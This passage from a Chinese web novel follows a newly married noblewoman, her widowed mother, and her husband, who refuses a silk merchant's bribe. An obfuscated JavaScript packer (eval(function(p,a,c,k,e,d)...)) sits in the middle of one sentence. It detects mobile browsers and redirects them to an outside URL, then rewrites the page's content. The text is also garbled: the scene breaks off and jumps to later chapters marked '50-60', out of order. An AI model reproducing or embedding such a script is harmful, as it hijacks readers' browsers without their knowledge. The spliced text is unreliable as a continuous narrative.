大夫人温氏不仅在沈太师和沈老夫人跟前说好话求情,还想找蒋文笙帮忙敲边鼓。不管怎么说,沈云楹的婚事大部分都是大夫人温氏帮忙操办的,蒋文笙就算不想帮忙,也要去一趟嘉禾院,当面拒绝。 蒋文笙反问沈云楹,“你知不知道,沈云蔓和章家的亲事还没尘埃落定?” 沈云楹连连点头,“我还觉得奇怪呢,那两个月都不见武安侯夫人上门,以前大姐姐在的时候,可不是这样。难道两家不结亲了?” 她知道沈云蔓一直在和章兴宇接触,看现下的情形,她都不知道沈云蔓的如意算盘能不能打响。 蒋文笙否定,“不会,这事是沈太师和武安侯亲自定下的。就算新娘换人都要促成,现在武安侯世子与沈云蔓都表现的两情相悦,应该会尽快完婚。” 说到沈家再办婚宴,蒋文笙抬起手指点了点闺女的额头,“你这次回去,等到沈云蔓的婚期敲定,才准回来。哪有新媳妇跟你似的,才成亲四日就回来两次。” 沈云楹嘿嘿笑两声,解释道:“今儿是出城送燕家祖父母回范州,又不是专程来太师府的。而且,是燕培风主动提出来的,又不是我非得要回来。” 沈云楹就猜是不是燕培风因为昨夜闹到很晚的事在补偿她?所以才主动开口让沈云楹回来看望岳母。 “燕家祖父母两人离开京城,没个长辈看着,你遇到什么事就直接来报,或是去铺子找掌柜的。”蒋文笙对沈云楹刚出嫁就能做一家主母很满意,想他自己,就吃了不少婆婆的亏。 沈云楹对燕家祖父母的那丝不舍,此时已经转变为对掌控新生活的欣喜,笑道:“在燕家后院无聊,总能来找母亲解闷吧?燕培风忙得很,就剩我一个人在后院呢。” 蒋文笙眼力还在,今日沈云楹如刚绽放的雨后牡丹,娇艳得能滴出水来,此时又见沈云楹提起燕培风的样子,心下为沈云楹高兴。 不过该板起脸还是得板起脸,见沈云楹还想叫第二碗冰酥酪,她不赞同道:“你少用些!” 沈云楹正吃得上瘾,闻言,只好忍痛放弃。 蒋文笙挥挥手,“夏日适合种瓜果蔬菜,你要有空闲,就在燕家后院种点菜?我记得公主府有专门划出来的土地种粮食,你可以直接去那儿种。” 这件事京城很多人都知道,有一年大雪,周遭的难民都涌到京城,嘉荣长公主从府里抬出好几车的粮食出去救济灾民。这时候才有消息传出,原来嘉荣长公主把偌大的后院划出大半来栽种粮食,每年的收成都攒着。 要不是因为救济灾民,都没人知道,嘉荣长公主竟然在自家后院种地。 沈云楹想着刚刚看到的郁郁葱葱场景,“好啊,我跟着娘学,浇浇水,挖挖地,就当是松散筋骨。” 沈云楹懒归懒,但心里有杆秤的!要是身体不好,常常生病,这样躺在床上还不如不躺。所以,她隔几日就要疏散筋骨,锻炼身体。 蒋文笙又将话题拐回来,“今日从慈晖院请安出来,你大伯母拉着我嘉禾院,我对沈云芝没什么意见。只是不想掺和进大房和二房的争端。” 蒋文笙现在隔三五日就去慈晖院请安,是沈老夫人和她的默契。 想到大夫人温氏方才难得流露出来的脆弱,蒋文笙也是有女儿的人,心中感触颇深,叹道:“也不知沈云芝后悔不后悔。大老爷和大夫人是对好父母,一直牵挂着她,要是换个狠心的,怕不是恨不得没有这个有污点的女儿。” 沈云楹摇头,“这我们得问她。” 谁知道沈云芝怎么想的。 沈云楹就只觉得沈云芝脑子被那个举子弄傻了。 蒋文笙笑出声,“不错,那得去问沈云芝本人。大夫人见过,还亲自逼问过那举子,可惜,不是个有担当的,大夫人不愿意冒险把沈云芝下嫁。现在人已经去了南蛮当师爷,”顿了顿,告诉沈云楹,“是举家搬迁过去的。他要是个聪明知礼数的,就不会连累全家。” 沈云楹第一次知道这件事,凑进来问:“是大夫人做的?” 蒋文笙摇摇头,“不知。可能是她,也可能是你祖父。” 母女两个又议论两句沈老夫人对沈云芝的态度,说了会儿太师府的八卦趣事。说笑间,就到了午膳时间,用过饭,睡一个长长的午觉,下午沈云楹陪着蒋文笙去菜地摘嫩黄瓜,又去挑要带去燕家的种子。 悠闲又充实的下午一晃眼就过去,门房来报,三姑爷来接三姑奶奶了。 报信的小厮和丫鬟笑得十分开心,都是三房的人,只有主子好了,他们做下人的才能好。经过沈云楹成亲之事,他们都有深刻的亲身体会。现在三房的人走出去,都不像从前一样被人瞧不上了。 蒋文笙此时穿着家常服,加之守寡多年,不想折腾见客,就摆手让沈云楹出去,别让燕培风进静远斋了。 沈云楹心知她娘就是懒得折腾,换衣裳换首饰,就为了见燕培风不到一盏茶的功夫,不划算。她朝蒋文笙眨眨眼,她明白的。 而且今天回来,沈云楹从静远斋下人口里得知,蒋文笙去慈晖院请安的间隔从五天缩短到三天。 沈云楹就感觉对不住她娘。蒋文笙是个喜静的人,守寡多年也能把日子过得有滋有味。从前她们三房不掺和太师府的大小事。 但这回沈云芝生病,要不要回京,大夫人来找蒋文笙做同盟,二夫人应该也会来打扰蒋文笙。 念及此,沈云楹就更不想因为见燕培风一面麻烦蒋文笙了。 沈云楹脚步轻快得地出去,身后的银屏银筝手上都带着包袱,都是蒋文笙为沈云楹准备的东西。 太师府门前,燕家的马车就停在侧边。 沈云楹刚走出来,几乎同时,燕培风掀起车帘一角,四目相对,燕培风眉眼从容柔和,开口道:“夫人,上车吧。” “好。”沈云楹点头,踩上矮凳。 还是那辆宽敞的马车,茶几右下角摆着一本翻开的书,刚刚燕培风可能就在看,沈云楹用余光偷偷瞄一眼,预测天气? 沈云楹抬眸看一眼燕培风,他要学钦天监的本事?今日不是去翰林院当值吗? 燕培风顺着沈云楹的视线,随手将书放进格子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16812546|189003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他看的书包罗万象,各样杂书也不会错过。 妻子不喜读书,他就收敛些好了。 可惜沈云楹没领会到这层意思,见燕培风收起来,只以为他不想看了。就算马车防震做的再好,路上依然会有摇晃之感,不是读书的好地方。 马车缓缓行驶,街道边的喧闹声一阵一阵飘进来。 沈云楹的心思却跳到别处。她忽然想到,今晚,燕培风还要来铮然居吗?她肯定不想燕培风来的。 细长的柳叶眉几乎就要拧在一起,沈云楹想了又想,黑亮的眸子闪动又黯淡,还是没开口问燕培风。 沈云楹只能在心里祈祷,燕培风可一定要说话算话,按照他的计划来后院呀。 沈云楹脸上的愁容可能表现的比较明显,燕培风嘴角紧抿,直接开口,“夫人,可是岳母那里有什么事?” 女婿就是半个儿,如果岳母有什么为难之事,燕培风自然义不容辞。 沈云楹一愣,眼神飘忽,你岳母没有,你妻子有。源头就在你这里。 这几句话,沈云楹憋着不能说。 她犹豫片刻,摇头道:“母亲一切都好。” 见沈云楹不想说,燕培风就不再追问。 两人安安静静的回府,一个去前院,一个快步回到后院。燕培风若有所思地回头看一眼沈云楹远去的背影,不知怎的,他觉得沈云楹心情一下变得很好了? —— 一连三日,燕培风不曾踏足后院。 沈云楹则开始种菜事业。 公主府非常大,沈云楹挑了距离铮然居最近的一处肥沃土地,依次种上从蒋文笙那儿带来的种子。 三排苋菜,三排小白菜,最后两垄便种秋黄瓜。 “等下个月就抽一天,叫木匠送来合适的竹子,我搭好架子,就能等着吃了。”沈云楹看着刚填好的菜地,满足感油然而生。 银筝给沈云楹送来茯苓饮子,“老话都说,六月苋,赛鸡蛋。这个时候种还能赶上最后一茬呢。” “现在播种,等上二十天即可丰收。到时候给娘送些过去。” 种子刚种下去,沈云楹就开始安排成果了。 这些菜地会安排有经验的匠人看管,如果沈云楹有哪里做得不对,也能及时发现。所以,沈云楹不怕不能收获。 从菜地回来,沈云楹梳洗一番,整个人清爽不少。 银屏在一旁看着这三日自家姑娘自得其乐,丝毫没有说起燕培风,不由着急问:“夫人,要不要去前院送消暑的绿豆汤?见一见老爷?” 沈云楹诧异,“为何做多余的事情?我和他早有默契,就这么过日子,不是也很好嘛?何必做惹人厌烦的事情?” 燕培风一看就是要在朝堂发光发热的人,和他死去的父亲一样,心里装着朝廷大事、百姓民生。 沈云楹想起这所院子的牌匾。 铮然居。 是燕培风亲自题的字。 枯肠未易禁三碗,坐听荒城长短更。在清夜玉响,静听风铎之声,沈云楹只能品出傲骨天然,清正刚直的意思。 据沈云楹所知,燕培风人在翰林院,其实伴驾的时候居多。 她对燕培风的脾性,也摸清楚几分,这人对自己严格要求,每日来后院都有时辰表。沈云楹怀疑,燕培风每日要做的事,都有这么一份时辰表。 说好听的是有规律,其实是古板又无趣。 与燕培风不同,沈云楹做事喜欢随性而为,随遇而安,她在公主府这么待着过日子也不错。 而且,最重要的是,燕培风每月来两次铮然居,沈云楹在房事上尚可应付。若是次数多了,她可不想。 沈云楹想起蒋文笙送来压箱底的册子,犹豫要不要仔细研读一番。她之前粗粗翻看过,后面都是女子在上的姿势。 要不要换我主动些?沈云楹摇摇头,太累了。 若是只一次呢? 可是万一两人得了趣儿,燕培风要求她一直这样可怎么办? 沈云楹秀眉微蹙,难道没有其他办法了? 50-60 第51章 登门 “家里大伯母管家, 大姐姐回来,和以前差不多吧?”沈云楹顺口回道,“就是婚事, 上次那个桂花宴,我看围在大伯母身边的夫人们, 好些个家里都有年纪合适的公子。” 沈云楹懒归懒, 平日在家也会打听打听各家的后宅事情, 就当消遣来听。 蒋文笙笑道:“大嫂做好几手准备呢。温家那边,她有两个合适的侄子。” “这都是大房的事, 我们等着喝喜酒就行了。” 意思就是别掺和,别管。 沈云楹点点头,她和沈云芝又不是真的姊妹情深,要为对方贴心贴肺的着想。就为着沈云芝私奔的事, 沈老夫人还罚她抄书呢。 她今儿路过花厅的时候,远远看到沈大夫人一面,能笑吟吟地招待来添妆的客人, 沈大夫人真能忍。 沈云楹和蒋文笙又说了一些京中听到的趣事,喝尽一壶茶, 沈云楹想起有一件重要事要和蒋文笙呢。 屋内只有母女二人,沈云楹就开口道:“娘, 我和燕培风说了避子汤的事。” 蒋文笙一惊,忙问:“怎么样?他没对你做什么吧?” 沈云楹笑了,“他能做什么?”见蒋文笙神情急切,忙三言两语描述燕培风的反应。 在听到闺女女婿不仅没有争吵翻脸,还有商有量的,看太医,定药膳, 最后夫妻两个一起养身体。 蒋文笙双眼慈爱地看着沈云楹微微扬起的笑意,眉眼弯弯,以前沈云楹聊起燕培风的时候,就像说起一个熟悉的朋友,坦荡从容,不带丝毫女儿家的羞涩,这次明明也没有,但蒋文笙总觉得哪里不一样,又说不出来。 “这么看来,女婿很好,”蒋文笙暗道岂止是好,简直是万里挑一的好丈夫,“燕家单传三代,我还以为他会着急要孩子。” 在燕家传宗接代和女儿身体康健、长命百岁之间,蒋文笙肯定选后者。 沈云楹道:“他不一样。” 当初为了不让蒋文笙担心,沈云楹没有说出燕培风新婚夜就和她约定一月才来后院两次的事。蒋文笙不知情,又有燕家的子嗣情况摆着那儿,会误判在情理之中。 沈云楹斩钉截铁,一副相信燕培风的态度,反而叫蒋文笙心里咯噔一下。 靠着秋香色引枕的蒋文笙直起身,直视沈云楹,温声道:“凡官宦之家联姻,重在利益,不在私情。皇后为燕培风挑选妻子,广邀京中闺秀进宫。” 她伸出一根手指,“皇后挑一遍,”又一根手指,“皇上过一遍。” “最后再和燕培风商议。”蒋文笙面容淡淡,盯着沈云楹道:“你的身份,面上看着好,太师的嫡亲孙女。可是内里如何,我们都知道。上没有父兄,下没有弟妹,一切都要靠你自己。” “所以,娘才告诉你丈夫没那么重要。娘只希望你能做到善待自己,好好过日子。” 蒋文笙不禁叹一声,若是沈云楹能嫁回娘家,有外祖父和外祖母,还有舅舅看着,她便不会这么担忧。 沈云楹明白蒋文笙的意思。她一直没问,为什么父亲身为太师之子,没有娶高门贵女,反而和远在江南的小官之家蒋家结亲。 开始她以为是浪漫的,父母初见动心,上门求娶这类话本子里的桥段。长大之后,沈云楹发信蒋文笙似乎并没有那么在乎父亲。 现在又听到蒋文笙这番话,沈云楹猜测是不是当年祖父和外祖父有什么私下的交易,才让儿女结亲。 沈云楹笑着应承,“娘,我现在就过得很好,您放心吧。” 蒋文笙瞧着女儿满脸笑意的模样,突然小声道:“娘的经验,也不知道适不适合你。” 沈云楹握住蒋文笙的手,坚定道:“娘,你闺女又不是傻的,取长补短还不会吗?再不济,也知道因地制宜啊。” 蒋文笙轻松一笑,“是,你说得对。” 她看着嫁为人妇的女儿,她是沈云楹,不是小蒋文笙。 —— 从太师府回来,沈云楹就闻到一股花香,“屋子里摆了菊花?” “重阳节就要到了,眼下正是赏菊的时候,有自家买的,也有外头送的,这两盆最好,奴婢就做主摆上。”银屏笑着答道。 银筝接着说:“桐芍和兰花这回要大展身手,铆足了劲儿要做菊花宴呢。夫人,您想在哪天设宴?” 沈云楹正要说就九九重阳节,忽然想起重阳节正好是嘉荣长公主去世的日子,不适合摆宴席,“推后一天?” “吃斋三天,重阳节去灵城寺上香,添长明灯。” 银屏惊讶问:“夫人想去登高望远?” 重阳是有登山的习俗,只是,沈云楹不喜欢这种费力气的活动。 沈云楹转头见两个丫鬟都一脸惊讶,“你们都忘了?重阳是嘉荣长公主的忌日。” 银屏和银筝顿时懊恼,后悔没想起来,险些误了沈云楹。尤其是银屏,她负责府中内务,这些事是她的分内之事。 “你们平日事多,疏漏这一次而已,这回我记得,又不耽误事。”沈云楹没有责怪两人,刚忙完中秋,又忙重阳,银屏这阵子忙的脚不沾地,有点疏漏很正常。 晚膳,厨房送来一盅菊花羹、一碗菊花枸杞乌鸡汤,里头有甘菊、雏菊,都是现摘新鲜的菊瓣,滋味清香甘甜。 因着是十五,沈云楹没吃独食,等着燕培风下衙回府才吩咐开饭。 沈云楹没说是重阳的特色菜,怕燕培风想起母亲,就当是寻常晚膳。 饭毕,燕培风提了一句,“皇上调我去户部,协理秋税。后半年会很忙。” 沈云楹点点头,户部和账目打交道,又是六部中最重要的部门之一,很为燕培风高兴。 “我记得你算学很厉害,正适合你,”沈云楹笑道,“皇上肯定看中你这一点,才选你的?” 燕培风笑了,“不错,算学偏门,翰林院擅长算学的同僚没几个,算学科取中的人本来就少。这次连同皇商的缴账一起,需要的人多,户部多设了三个班房一起算。” 沈云楹哦一声,她知道燕培风接下来会很忙就行了。 她想了想,灵城寺上香要提前预订,她得先跟燕培风说一声。 沈云楹觑着燕培风的脸色,温声道:“夫君,重阳我想去灵城寺上香,为嘉荣长公主点一盏长明灯。” 燕培风一愣,随即颔首,“我陪你一起去。母亲每年重阳喜欢去灵城寺,我早在灵城寺为她点了长明灯。” 沈云楹就道:“那我续期?” 一般一点就是二十年。 燕培风微微一笑,“好啊。你是儿媳,就当是你的孝心。” 沈云楹想着灵城寺的后山风景好,到时候还能去爬山。 因为说过暂时不要孩子的事,加之陈太医的调养药方特殊,这一夜,两个人和衣而睡。 第二日,燕培风早早就去户部报到,开始他加班忙碌的日子。沈云楹睡到日上三竿,起床了就去后院瞧瞧自己种的菜,又有几样能吃了。 快到中午的时候,门房突然来报,“夫人,沈二夫人来了。” “不见。”沈云楹下意识反驳回去,她一般都是闭门谢客,“等等,你说沈二夫人?” 沈云楹看向银筝,她没听错吧?她二伯母? 银筝点点头,“夫人,是太师府的二夫人。” 沈云楹微微蹙眉,沈二夫人来干什么?要是蒋文笙有事自然会派人来,怎么样也轮不到沈二夫人登门。 “带去花厅吧。”沈云楹吩咐去传话,自己换一身见客的衣裳,穿戴好才出门。 沈云楹来到花厅,就看到沈二夫人带着一位簪金戴银的夫人坐在花厅右侧,两个人在笑着说话,看起来很熟稔。 沈云楹莲步轻移,进门就笑道:“二伯母,您要来怎么不提前递帖子?我好去备席面招待您。” 言下之意,你贸然上门不合规矩,今儿我没准备,不留饭了。所以有话快说,别浪费大家时间。 沈二夫人听懂了,装没听懂,就笑道:“云楹啊,伯母这不是有点急事吗?咱们是一家子的亲戚,上门说几句话的事,还递什么帖子啊。” “再说,家常菜我们也吃得,不用摆大席面。” 沈云楹笑笑不说话。 沈二夫人当然知道自己和沈云楹不熟悉,可是现在一来,自己有求于人,二来给她送银子花,就不在意这些小事。 她满脸笑意,指着身边的人道:“云楹,我来给你介绍,这是江南的大皇商唐家的夫人。” 唐夫人约莫四十岁,圆圆的脸蛋,慈眉善目,看着很亲切,就是头上戴着金钗银饰,也不觉得俗气。她笑着起身向沈云楹行礼,“民妇见过燕夫人。” 沈云楹一听是皇商,瞬间就对沈二夫人的来意有了猜测。但面上不动声色,只微微一笑,忙摆手让人起身,“唐夫人不用多礼。” 银筝有眼力地上前搀扶一把,扶着唐夫人坐下。 沈云楹接着道:“伯母,你难得来一次,我本应好好招待。只是,府里事多,恐怕不能如您所愿了。” 第52章 门路 沈二夫人扯出一个笑, “好侄女,我们有好事儿才急赶着来寻你。”她站起身,快步走到沈云楹面前, 带着压抑的兴奋道:“轻松赚钱的门路,你要不要?” 沈云楹面容淡然, “门路?二伯母应当去寻大伯母, 太师府接下来嫁女娶媳, 花费更多。础鹤堂兄在相看人家了吧?” 沈础鹤是沈二夫人的儿子。 沈家的孙辈,只有沈础筠已经成亲, 底下的堂兄堂弟加起来有四个,都到了成婚的年纪。还有一个庶出的叔叔,已经定亲,只等明年春闱结束, 就娶妻进门。 而今年,太师府嫁出去两个女儿,给出去两份嫁妆。 沈云楹算着, 明年后年沈家准备聘礼和婚礼,都能说一句花钱如流水了。 沈二夫人头一次对沈云楹温柔说话:“我怎么不想呢?就是为了你二姐姐的嫁妆, 础鹤堂兄的聘礼,我才来找你呀。燕培风是皇上的亲外甥, 备受看重,又德才兼备,咱们家里谁不说你嫁得好?” “这事儿简单的很。只要你愿意跟侄女婿说一声,每年唐家都会送两成干股。”沈二夫人先是伸出两根手指,接着再伸出两根,低声道:“四十万两!” 沈云楹心头一惊,杏眸圆睁, “这么多?” 皇商太赚钱了吧? 沈云楹朝唐夫人看去,只见她嘴角含笑看着这边,与沈云楹的视线对上,脸上的笑意更大,愈发像慈祥友善的妇人。 重礼,所求之事不会小。 祖父沈太师都做不到,或者不会做的事。求到燕培风这里,那就是看中他皇帝外甥的身份。沈云楹垂眸思索,外甥又不是儿子,皇上总不能时时为他撑腰。 沈云楹抬眸看了看沈二夫人,皱眉道:“二伯母,夫君不会听我的劝,难道薛夫人没跟您提?” 沈二夫人听到薛夫人三个字,面色一僵,她之前在薛夫人面前说过不少沈云楹的坏话。她轻咳两声,镇定道:“嘿嘿,我和薛夫人也就是偶尔议论一些后宅琐事。” 沈二夫人摆出一副为你好的模样,“你要提高在丈夫面前的地位,现成的好机会,你更要抓紧。你是沈家女儿,我还能害你?” 见沈云楹不为所动,沈二夫人再接再厉,“这年头,谁还嫌弃银子多?咱们也不用侄女婿做设么,就是动动口松松手的事。” 沈云楹就当乐子听听,等着她们的下文。 沈二夫人朝后给唐夫人一个眼神,后者跟上,“正是呢,燕夫人。若是难事,我们哪里敢上门叨扰。往年户部核账的时候,哪个官儿都不敢说一次错漏都没有啊。这些都是正常的损耗。” “你们要我夫君配合做假账?”沈云楹问的直接。 唐夫人笑着摇头,“哪能啊,燕夫人误会了。” “燕夫人知道,皇商都是专营一项。我们唐家主要领的差事是绸缎。每年上缴的绸缎除了宫中,就是送去户部。户部大仓放着几库房剩下的绸缎。年年积攒,就是几十个库房都装不下啊。于是就有每两年清理一次库存的规矩。” “今年就是清库存的年份。” 沈云楹挑眉,难道是打户部大仓的主意? 只听唐夫人说:“既是清库存,价格自然就低,一般折价七成卖出。我们唐家想折价买入,再按照市价送进户部大仓。这一来一回,倒手就是翻倍的利润。” 最后还给沈云楹一颗定心丸。 “您不用担心,这是我们底下人常有的操作。户部大仓的绸缎年年富余,用都用不完。” 唐夫人说得诚恳,只是以前给负责官员半成利润。今年燕培风负责,唐家人一商量,有燕培风做靠山,唐家可以多吃进,最好全都拿下。就算给出燕培风两成,依然比以前赚得多。 沈云楹第一次听见这种操作,好奇问:“户部又不是夫君的一言堂,他一人愿意也没用?” 昨天回府,燕培风说的是去户部负责秋税,和皇商、户部大仓没什么关联。皇商这么大一块肥肉,燕培风初来乍到,还能吃大头? 只要沈云楹感兴趣,唐夫人就自觉有五分把握了,谁能拒绝送上门的钱财? 她笑吟吟道:“燕大人初到户部,燕夫人还不了解,大家伙儿心照不宣的事。”唐夫人双眉笑弯,“绸缎不容易坏,皇上赏人一年到头就那么一点。” 言下之意,这是户部公开的秘密。 “原来如此。”沈云楹感觉官府还挺会创收,不愧是户部的人。可是她依然拒绝,“二伯母,唐夫人,我可以跟夫君提一提。最后结果如何,我做不了主。” “诶!你提一提就行了!”沈二夫人抚掌而笑。 唐夫人立即点头,笑道:“应该的,外头的事归男人做主。燕夫人愿意说一声,我们就感激不尽了。” 事情说完,沈二夫人和唐夫人留下礼单,相约出门。 走出公主府,唐夫人拉着沈二夫人,感激道:“公主府果然皇家气派,富丽堂皇的,托夫人的福,我今儿算是开眼界了。” 沈二夫人得意扬眉,“这事儿要是成了,今后还能常来。我侄女一定当你是贵客。” 上门送财,四十万呢!要不是她做不到,压根不会为沈云楹牵线。 唐夫人笑道:“劳您多多美言。重阳就到了,节礼在江南进京的船上,若是推迟一两日,夫人别见怪。” “那不会,唐家家大业大,我还信不过你吗?”沈二夫人客气道,唐家在江南是大商户,说好的谢礼不会赖账。 这点沈二夫人还是有信心的。 不过,沈二夫人有别的想头,她顺着唐夫人的力道,共同上马车。 “昨儿我闺女添妆,你也来了。她夫家是永安侯府,章世子对她上心得很。你看,这件事,要不要寻永安侯府添一份力气?”沈二夫人希望借此机会,提高沈云蔓在永安侯府的地位,将来日子好过。 要不是自己只能起个牵线搭桥的作用,她更想自己掺一股。 唐夫人眼神一闪,为难道:“永安侯府无人在户部,这事儿,有点难办。” 沈二夫人继续道:“那是开国就传下来的侯府,人脉广阔。要我说,如果燕培风不肯,不如就去求求永安侯府,说不准他家就给解决了呢?” “我们商户人家最重信诺,先跟燕家说了,不好两头占便宜。我们还是等等。”唐夫人暗自摇头,若不是沈二夫人最好突破,她才不会跟沈二夫人打交道。 果然和传言中的一样,贪财、蠢笨。 —— 公主府。 银屏仔细看过唐夫人送来的礼单,饶是看过许多礼单的她,也不由倒吸一口凉气,“夫人,好贵重的礼!” 银筝伸头去看,感叹道:“皇商,富得流油。” 沈云楹接过一看,真是大手笔。 打头的是京郊的一个庄子,不大,也有一百亩。宣德炉的桐笔山,湖州狼毫笔,玉山子竹雕等文房四宝。点翠镶宝五凤冠,累丝金玉成套步摇,东珠和猫眼石银耳坠各一对。 还有一架紫檀木缂丝百子图屏风。 其他的没那么贵重,但也是难得的物件。 沈云楹吩咐:“先别入库,等燕培风回来再说。” 她总觉得,这事儿没那么简单。四十万两的分红,居然只要燕培风做一点事?能相信? “从前在太师府,二夫人总是针对三夫人,就算有发财的门路,怎么会找夫人您?夫人要当心。”银屏直觉沈二夫人不安好心。 沈云楹点点头,“二姐姐马上就嫁入永安侯府了,她不去找永安侯府和沈家,这事肯定不对劲。四十万两虽然多,我不差这点钱。” 她的嫁妆本来就丰厚,几间铺子还能源源不断赚钱。就算可劲的花,依然能美滋滋的生活。 “唐家是商户,二夫人不知收了多少好处,居然领着人上公主府。”银筝气愤道,“也不怕损了沈家的名声。” “二伯母的私交,就是祖母也难阻止。而且——”沈云楹和两个丫鬟对视,不用说不出口就都明白,沈二夫人看中钱财,唐家有钱。 双方一拍即合。 夜色渐深,直到戌正时分,燕培风才回来,沈云楹收到消息就带着唐夫人的礼单去了前院书房。 燕培风刚打开折子,听到思齐的禀报,温声道:“叫夫人进来。” 沈云楹徐步迈进,这是她第一次来燕培风的书房,粗粗扫一眼,几乎全是书,间或摆着几样古玩。 书房如其人。 沈云楹见案桌上放着半开的折子,笑问:“没打扰夫君吧?” 燕培风心知沈云楹的性子,无事不会来前院,“无碍。” 燕培风站起身,牵着站在案桌对面的沈云楹绕到后面,想起沈云楹磨墨的手艺,他挪过端溪砚,侧头问:“夫人寻我何事?” 沈云楹没留意燕培风的动作,径直递过去礼单,“今天我二伯母登门,还带来一位皇商,姓唐,是做绸缎生意的。” 燕培风接过单子。 沈云楹接着说:“来求你办事。”她把户部大仓低价买再原价卖给户部的事一说,“你昨晚没提负责这事儿?” 燕培风只扫一眼礼单,就扔到案桌上,轻笑道:“唐家久居江南,没想到这么快就来京城,还盯上了我。” 沈云楹抬头,等着燕培风的下文。 “户部大仓的事是真的,也算是户部官员的一项收入。皇上也默认此事。”燕培风见沈云楹什么都不知道,就说的详细些,“想要拿到户部大仓的货,都要靠关系。唐家一直都只能拿到十分一二。” “现在应该是想要全吃下去。” 第53章 孝心 唐家肖想全部承接户部大仓的绸缎很久了, 过去这么多年一直没找到机会。这次好不容易看到曙光,才下大价钱找上燕培风。 唐家是大皇商,安排族人在京城留守当做耳目, 方便随时传信回江南本家。 前阵子张秋镇的事,折损一省盐台, 正经的二品大员。又有明珠郡主第二次被迫出京。两件事叠加在一起, 当今皇上对燕培风的宠爱可见一斑。 今年的皇商核账刚巧归燕培风负管, 唐家自然要抓紧机会,与燕培风攀上关系。 燕培风轻笑一声, “唐家动作倒快,户部今早才分派我管皇商核账。” 早上燕培风收到任命,中午唐夫人就登门,的确很快。她二伯母太容易说服了吧!沈云楹心里腹诽。 “那你要给他家当靠山不?”沈云楹比较关心这个。 燕培风低头沉吟, 他对唐家不熟悉,只知道是专营绸缎的皇商,领这项差事已有三代人。 “断人财路如杀人父母。我又不缺钱。”燕培风摇头, “据我打听的消息,吃绸缎大头的是宁王。” 初代宁王是皇上的亲叔叔, 是皇子的时候就备受宠爱。到户部观政后,就拿下户部大仓中绸缎的利润。现在这份利益依然握在宁王府手里。 户部大仓里, 储存着各式各样的皇商进贡物品。除了绸缎料子,诸如药材、皮毛、香料、茶叶、木材、砖石、颜料等等,这些耐放的物品。 当然最关键、最赚钱的还属盐、铜、铁。这三样被皇上看得紧,外人插不上手。 “唐家以前巴结着宁王,如今想改弦更张。”燕培风突然冷哼一声,唐家无非是觉得宁王靠不住了,野心上来, 想寻他合作。 沈云楹回想一下宁王府的情况,她以前当说书听过。 总结一句话,宁王府很倒霉。现任宁王才九岁。他的祖父带着儿子们去城外庄子跑马,不慎遇上山洪,父子加起来六个人,全都一命呜呼。最后,才九岁的孩子成了宁王。 沈云楹暗想,这算另类的主弱臣强? 宁王压不住唐家。唐家想甩开宁王府,另找靠山,拿下更多的利益。 “你不应承,唐家也会找别人啊。”沈云楹叹道,既然起了心思,付诸行动,唐家就不会半途而废。 燕培风微微颔首,“你先晾着她们,”转头一看,沈云楹杏眸盈盈地盯着自己,他一下想起曾经承诺过沈云楹不想多应酬这些事儿,笑道:“我去问问太子的意思,东宫内库不丰,这是个好机会。” 沈云楹听到不用自己干活,心里一松。她直觉那位唐夫人不如表面那般面善好相处,能不打交道最好。 听到东宫都打这次的主意,她就好奇:“真的那么赚钱吗?两成的干股,一年就能有四十万两!” 沈云楹私下和银屏银筝两人算了算,就算那些绸缎再值钱,也赚不到两百万两啊。 “当然没有。”燕培风耐心地给沈云楹解释,“这里头有不成文的规矩,每次都要进一批新货,旧货出清,这般来回倒手,唐家能赚两三万就算多。” “剩下的钱是变着花样送给你?”沈云楹惊得双眸睁大,暗道三年清知府,十万雪花银。京城的官儿,年年雪花银! 以前在太师府,沈云楹知道冰敬、炭敬,生辰和往来节礼,都是送礼的大头。每年到这些时候,沈老夫人的心情就格外好。 没想到在燕培风这里,因为皇帝外甥的身份和现有的官职,居然这么值钱。不过,想想燕培风的背后是皇上和太子,这份长久的关系网值这个价。 燕培风颔首,“如若我收了,唐家的野心就不只是绸缎了。” 四十万,唐家给得多,要求的回报自然更多。 沈云楹彻底明悟这里头的弯弯绕绕,真是麻烦。解决了唐家的难题,沈云楹瞅见案桌一侧高高垒起的公文,就想离开。 燕培风却先一步开口:“上次观你磨墨的手法,更适合这方端溪砚,要不要试试?” 沈云楹有点懵,她回忆片刻才想起来,上次为燕培风磨墨是在龙王庙的时候,那会儿物资短缺,笔墨纸砚都是张秋镇衙门准备的,款式质量普普通通。 磨墨手法?她有这种东西吗?沈云楹自己都不记得。 沈家私塾的老师就教垂直执磨法和旋转式研磨法,都是初入门的手法。 她低头看一眼端溪砚,她对这个并不了解。燕培风博学广闻,应该没错? 沈云楹点头应道:“好啊。”她试试是不是和燕培风说的一样。 书房一时安静下来,只剩下燕培风翻阅折子的声音。 约莫两刻钟后,沈云楹垂眸观察,果然墨汁细腻均匀,浓稠度正好,不必另加清水。她悄悄侧头去看正认真办公的燕培风,他还真没说错。 还有一点佩服,这人的记忆里真好。 沈云楹搁下墨条,轻声道:“夫君,墨已磨好。我先回后院了。” 她不续摊。 燕培风合上手里的折子,眉目柔和,开口道:“好。”说着起身,和沈云楹走到书房门口,吩咐思齐,“送夫人回去。” 思齐领命,跟在沈云楹身后,直到亲眼看着沈云楹进入铮然居才转身回去复命。 燕培风点点头,摆手叫思齐出去。刚刚两刻钟才看完五份公文,效率极低。沈云楹不在也好。 刚刚心血来潮就想留下沈云楹,还好她提前开口离开,不然他也要寻个理由叫人走。不然,今晚彻夜都看不完这些公文折子。 —— 燕培风接过唐家的事,合作还是拒绝,自会去找唐家的当家人。之后几天沈二夫人和唐夫人没有再上门。沈云楹彻底甩开这事儿,乐得亲轻松自在。 九月入秋,高天流云,沁人心脾。没有了夏日的燥热,是个适合出门的日子。 等到九九重阳这日,衙门休沐一天。 沈云楹和燕培风约好去灵城寺上香。 临出门前,沈云楹核对一次为嘉荣长公主准备的东西。 